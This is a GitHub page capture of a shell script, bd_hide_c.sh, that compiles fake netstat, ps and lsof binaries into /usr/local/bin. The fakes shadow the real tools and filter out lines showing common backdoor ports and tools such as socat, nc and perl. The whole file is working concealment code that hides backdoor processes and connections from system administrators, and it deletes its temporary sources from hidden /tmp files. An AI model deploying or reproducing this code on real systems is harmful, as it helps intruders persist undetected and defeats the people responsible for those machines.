-
Notifications
You must be signed in to change notification settings - Fork 68
/
bd_hide_c.sh
51 lines (37 loc) · 975 Bytes
/
bd_hide_c.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/bin/bash
#netstat
#------------------------
touch /tmp/.netstat.c
cat <<EOF >> /tmp/.netstat.c
int main(int a,char**b){
char*c[999999]={"sh","-c","/bin/netstat \$*|grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'"};
memcpy(c+3,b,8*a);
execv("/bin/sh",c);
}
EOF
gcc -xc /tmp/.netstat.c -o /usr/local/bin/netstat
rm /tmp/.netstat.c
#ps
#------------------------
touch /tmp/.ps.c
cat <<EOF >> /tmp/.ps.c
int main(int a,char**b){
char*c[999999]={"sh","-c","/bin/ps \$*|grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'"};
memcpy(c+3,b,8*a);
execv("/bin/sh",c);
}
EOF
gcc -xc /tmp/.ps.c -o /usr/local/bin/ps
rm /tmp/.ps.c
#lsof
#------------------------
touch /tmp/.lsof.c
cat <<EOF >> /tmp/.lsof.c
int main(int a,char**b){
char*c[999999]={"sh","-c","/usr/bin/lsof \$*|grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'"};
memcpy(c+3,b,8*a);
execv("/bin/sh",c);
}
EOF
gcc -xc /tmp/.lsof.c -o /usr/local/bin/lsof
rm /tmp/.lsof.c